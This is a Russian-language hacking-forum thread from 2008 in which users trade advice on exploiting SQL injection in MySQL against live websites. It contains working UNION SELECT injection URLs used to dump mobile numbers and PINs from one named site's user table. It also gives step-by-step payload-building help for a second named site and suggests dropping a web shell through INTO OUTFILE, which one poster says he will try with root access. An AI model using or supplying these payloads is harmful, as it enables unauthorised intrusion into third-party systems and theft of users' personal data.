 |
|

02.03.2008, 13:24
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
С нами:
10261766
Репутация:
1079
|
|
Вопрос... Возможно ли провести инъекцию в mysql 3 ? Где-то видел статьи на тему, но не нашел. ps инъекция после where
Все, уже нашел, что невозможно  Жаль...
Последний раз редактировалось Macro; 02.03.2008 в 13:29..
|
|
|

02.03.2008, 13:30
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
|
|
можно выбирать только из той же таблицы, в которой присутствует иньекция.. или если file_priv есть то можно читать файлы
https://forum.antichat.ru/showpost.php?p=565034&postcount=4
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

02.03.2008, 13:30
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от Macro
Вопрос... Возможно ли провести инъекцию в mysql 3 ? Где-то видел статьи на тему, но не нашел. ps инъекция после where
полезного особо не вынешь, можно конечно, смотря из какой таблицы выборка идет, например если это таблица аккаунтов пользователя, то можно и пароли поиметь, но это редко случается, также при очень удачном раскладе и шелл можно залить с помощью into outfile например выборка идет из той таблицы, куда ты можешь добавлять что-то, например комментарии, при наличии файл прив ну и всех факторов для залития через into outfile шелл бдует залит
__________________
Карфаген должен быть разрушен...
|
|
|

02.03.2008, 19:55
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Macro
"SQL инъекция в MySQL сервере третей версии"
_http://www.securitylab.ru/contest/212101.php
|
|
|

02.03.2008, 21:23
|
|
Новичок
Регистрация: 24.01.2008
Сообщений: 20
С нами:
9630275
Репутация:
15
|
|
У меня вопрос по SQL ... Нашел скуль, но вывод ответа от SQL сервера на страницу всего выводит по 1 строчке. Я сразу заюзал limit пример
http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+lim it+1,1/*
выводит все гуд. Потом делаю так
http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+lim it+2,1/*
гуд потом
http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+lim it+100,1/*
писит что ошибка... Потом я пробую так
http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+lim it+1,100/*
То мне вывождит на страницу 100 номеров + пины к ним... Знаю что юзеров 12к
http://sute.ru/index.php?id=-1 union select 1,2,3,4,5,mobile_num,7,8,pin+from+mobile_users+lim it+12000,1/*
Так пашет гуд... соответственно и должно примерно быть около 8-9к номеров мобил...
Суть вопрос в том почему когда я вывожу юзеров то лимит пашет как обычно
12000,1/*
а когда вывожу номер мобил то
1,9000/*
|
|
|

02.03.2008, 21:28
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
select count(mobile_num) from mobile_users
|
|
|

02.03.2008, 22:34
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
С нами:
10261766
Репутация:
1079
|
|
Сообщение от Scipio
также при очень удачном раскладе и шелл можно залить с помощью into outfile
Тааак юзверь на счастье оказался root
Будем пробовать шелл  Спасибо, честно говоря, не подумал об этом.
Как ни странно, есть все необходимое, и файл прив и добавлять вроде как можно. 
|
|
|

02.03.2008, 22:42
|
|
Новичок
Регистрация: 08.12.2007
Сообщений: 21
С нами:
9697759
Репутация:
36
|
|
Вопрос опять по SQL.
Имеется вот такой адрес:
_http://fhplus.ru/gostevaya/index.php?page=1
Если ставлю кавычку после 1, то ошибки никакой не выводит, а вот если 1 убрать и поставить кавычку (вот так :
_http://fhplus.ru/gostevaya/index.php?page='
то выводит ошибку вида -
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-20, 20' at line 1
То есть как мне кажется инъекция есть, но вот составить правильный запрос опять не могу, поскольку нахожусь в процессе обучения и не всё ещё ясно до конца просьба помочь в правильном составлении запроса всем кто может конечно и главное хочет.
Как мне кажется опять ответ есть в сообщении о ошибке, а именно '-20, 20', но как это пристроить в запрос...?
Заранее спасибо и благодарности всем кто подскажет.
|
|
|

02.03.2008, 23:42
|
|
Участник форума
Регистрация: 02.09.2006
Сообщений: 176
С нами:
10362626
Репутация:
327
|
|
Климент_Ворошилов
20,-20 это колво допустимых строниц если брать значение больше 22 то выводит пустую 20,-20 сдесь не имеет отношение к скулю
попробуй подобрать кол во таблиц
http://fhplus.ru/gostevaya/index.php?page='+union+select+1,2,3,....стока цифр пока не исчезнет ошибка..../*
дальше меняй значение ?page='+union+select+user(),2,3,....стока цифр пока не исчезнет ошибка..../*
выведет юзера в бд
?page='+union+select+database(),2,3,....стока цифр пока не исчезнет ошибка..../*
имя бд
и тд
прочитай фак там всё написано...
|
|
|

02.03.2008, 23:46
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
|
|
ничего не получится . т.к. там явно идут некие математические действия с тем что в переменную передается)
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|